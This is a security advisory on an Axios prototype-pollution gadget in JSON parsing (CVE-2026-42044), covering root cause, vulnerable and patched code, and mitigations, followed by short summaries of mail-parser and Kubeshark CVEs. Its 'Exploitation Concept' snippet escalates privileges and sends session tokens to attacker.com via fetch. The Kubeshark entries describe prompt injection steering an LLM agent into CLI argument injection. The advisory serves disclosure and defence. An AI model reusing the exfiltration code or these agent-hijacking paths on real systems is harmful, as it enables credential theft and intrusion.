May 5, 2026·6 min read·168 visits
A prototype pollution gadget in Axios's `transformResponse` function allows attackers to tamper with JSON responses. Upgrading to 1.15.2 or explicitly defining `parseReviver` in configuration mitigates the risk.
Axios versions 1.0.0 through 1.15.1 contain a prototype pollution gadget in the JSON response parsing logic. By exploiting a prerequisite prototype pollution vulnerability, an attacker can manipulate the `parseReviver` option to intercept, modify, or exfiltrate JSON data during deserialization.
Axios operates as a primary promise-based HTTP client for both browser and Node.js environments. The software implements automatic transformation of response data, specifically parsing incoming JSON payloads via the transformResponse array located in lib/defaults/index.js.
A prototype pollution gadget exists within this JSON parsing mechanism. While Axios itself does not inherently contain a prototype pollution flaw, it acts as an execution sink. If an attacker successfully pollutes the JavaScript prototype chain elsewhere in the application, Axios will execute the polluted properties during its internal configuration merging and parsing phases.
The specific attack vector targets the parseReviver attribute, which Axios passes as the second argument to the native JSON.parse() function. An attacker can hijack this process to execute arbitrary JavaScript logic against every key-value pair processed during the deserialization of HTTP responses.
This behavior maps to CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes). The vulnerability affects all Axios 1.x versions prior to 1.15.2.
The root cause stems from the mechanism Axios uses to construct and evaluate its configuration objects. Prior to version 1.15.2, configuration objects were instantiated as standard JavaScript objects, meaning they inherited properties from Object.prototype.
During the response handling lifecycle, Axios invokes functions within the transformResponse array. The default JSON transformer executes JSON.parse(data, this.parseReviver), where this references the merged Axios configuration object context.
Because Axios does not define parseReviver by default, the JavaScript engine attempts to resolve the property by traversing up the prototype chain. If Object.prototype.parseReviver has been maliciously populated by an attacker, the engine retrieves and utilizes the injected function.
The native JSON.parse() specification dictates that the reviver function is called for every parsed property. Consequently, the attacker's function executes with full access to the incoming data stream, establishing a reliable execution sink for the prototype pollution primitive.
The vulnerable code path resides in lib/defaults/index.js. The default transformResponse function attempts to parse response data directly using the context's parseReviver without validating if the property is explicitly owned by the configuration object.
// lib/defaults/index.js (Vulnerable Pattern)
const defaults = {
transformResponse: [function transformResponse(data) {
if (typeof data === 'string') {
try {
return JSON.parse(data, this.parseReviver);
} catch (e) {
// ...
}
}
return data;
}]
};The remediation strategy implemented in Axios 1.15.2 utilizes two distinct hardening techniques. First, commit be3336014e01f9a4fc1f8aef15303cf7daaf58db introduced strict hasOwnProperty checks to ensure configuration properties are not inherited from the prototype chain.
// lib/defaults/index.js (Patched Version via hasOwnProperty)
const defaults = {
transformResponse: [function transformResponse(data) {
if (typeof data === 'string') {
try {
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;
return JSON.parse(data, reviver);
} catch (e) {
// ...
}
}
return data;
}]
};Second, commit 47915144662f2733e6c051bdcb895a8c8f0586aa restructured the core configuration merging utility (mergeConfig.js) to instantiate objects using Object.create(null). This creates objects completely devoid of a prototype chain, preventing any upward traversal and comprehensively eliminating this class of gadget from the configuration layer.
Exploitation requires the attacker to possess an independent prototype pollution vulnerability within the target environment. This prerequisite typically takes the form of an insecure recursive merge function, a vulnerable query string parser, or a flawed deep-copy utility.
The attacker begins by injecting a malicious payload into Object.prototype.parseReviver. The payload consists of a JavaScript function designed to intercept and manipulate the key-value pairs processed during JSON deserialization.
// Exploitation Concept
// 1. Attacker leverages external vulnerability to pollute prototype
Object.prototype.parseReviver = function(key, value) {
if (key === 'isAdmin') return true; // Privilege Escalation
if (key === 'sessionToken') fetch('https://attacker.com/?token=' + value); // Exfiltration
return value;
};Once the prototype is polluted, the attack executes passively. Any subsequent HTTP request initiated by Axios that returns an application/json payload will trigger the injected reviver function automatically. The targeted application will receive the altered data structure, processing the malicious modifications as legitimate server responses.
The primary impact of CVE-2026-42044 is the loss of data integrity. Attackers can arbitrarily modify inbound server responses before they reach application logic. This capability facilitates secondary attacks, such as client-side privilege escalation, authentication bypass, or logic manipulation depending on how the application consumes the data.
The vulnerability also presents a confidentiality risk. The reviver function executes within the context of the deserialization process, granting it read access to all sensitive keys and values returned by the remote server. An attacker can instrument the reviver to silently transmit this data to an external command and control server.
The stealth characteristics of this attack are significant. Because the tampering occurs during the native JSON.parse execution, standard application-level schema validators evaluating the final JavaScript object will process the tampered data as legitimate. The mutation operates entirely beneath the validation layer.
The CVSS v3.1 base score of 6.5 (Medium) reflects the High integrity impact and Low confidentiality impact, offset by the High attack complexity. The high complexity designation accounts for the strict prerequisite of an existing prototype pollution vector within the runtime environment. The low EPSS score (0.00098) aligns with this complexity constraint.
The definitive remediation is upgrading to Axios version 1.15.2. This release contains both the hasOwnProperty access restrictions and the architectural shift to null-prototype configuration objects, neutralizing the gadget completely.
In scenarios where immediate patching is unfeasible, developers can mitigate the gadget by explicitly shadowing the prototype property. Defining parseReviver: undefined directly within the Axios instance configuration ensures the execution context finds an own-property and halts prototype traversal.
// Temporary Mitigation
const axiosInstance = axios.create({
parseReviver: undefined
});Additionally, implementing environment-level hardening provides defense-in-depth against all prototype pollution vectors. Utilizing Object.freeze(Object.prototype) at application initialization prevents the modification of global prototypes, though this approach requires thorough regression testing as it may disrupt legitimate behavior in legacy libraries.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Axios Axios | >= 1.0.0, < 1.15.2 | 1.15.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-915, CWE-1321 |
| Attack Vector | Network (with prerequisites) |
| CVSS v3.1 Base | 6.5 |
| EPSS Score | 0.00098 (26.71%) |
| Primary Impact | High Integrity (JSON Tampering) |
| Exploit Status | Proof of Concept |
| KEV Listed | No |
Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CVE-2026-129297 is an origin validation vulnerability (CWE-345) in the Python library mail-parser prior to version 4.6.2. The MailParser.get_server_ipaddress() method fails to properly isolate MTA-recorded client IP addresses from sender-controlled text within email Received headers. Due to naive substring delimiter matching, appearance-based regular expression scanning, and fail-open header traversal, remote attackers can spoof their originating IP address to bypass email security controls, blocklists, and anti-spam attribution.
CVE-2026-129299 (GHSA-24mq-4vc6-2prf) is a parsing and serialization flaw in SpamScope mail-parser prior to version 4.6.2. The library uses reflective Python attribute resolution (getattr) over untrusted email header names and applies caller convenience transformations (such as underscore-to-hyphen folding and _json/_raw suffix stripping) directly to wire headers. An unauthenticated remote attacker can send crafted emails that trigger uncaught TypeError exceptions during JSON serialization or cause security-relevant headers and body content to be silently dropped without setting defect indicators.
CVE-2026-129236 is a command-line argument injection vulnerability (CWE-88) in Kubeshark, an eBPF-based network observability tool for Kubernetes. Located within the Model Context Protocol (MCP) server implementation in cmd/mcpRunner.go, the flaw occurs when handling the start_kubeshark tool request. When the MCP server runs with the --allow-destructive flag, the callStartKubeshark function appends the caller-supplied pod_regex parameter directly to the kubeshark tap argument slice without an end-of-options (--) delimiter. Because Kubeshark uses the Cobra and pflag libraries for command-line parsing, any pod_regex value prefixed with a hyphen is interpreted as a CLI flag rather than a positional regular expression. An attacker capable of influencing MCP tool arguments, such as through indirect prompt injection against a connected Large Language Model (LLM) agent, can inject the --set flag to override Helm chart values like tap.docker.registry. Because Kubeshark deploys its worker DaemonSet with privileged security contexts and host networking enabled, redirecting the container image registry allows arbitrary code execution as root across all Kubernetes cluster nodes.
Kubeshark versions 53.1.0 prior to 53.4.0 contain an arbitrary file write and path traversal vulnerability (CWE-22) alongside an argument injection vulnerability (CWE-88) in the Model Context Protocol (MCP) server implementation (cmd/mcpRunner.go). The download_file tool fails to validate caller-supplied path and dest arguments, allowing an attacker who influences an AI agent driving kubeshark mcp to write Kubeshark Hub API responses to arbitrary locations writable by the local user. Additionally, the start_kubeshark tool appends the pod_regex argument without flag delimiters, allowing argument injection into the kubeshark tap subcommand.
CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.
CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.